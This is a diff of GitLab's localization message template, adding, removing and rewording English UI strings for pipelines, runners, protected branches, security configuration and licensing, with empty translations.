-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
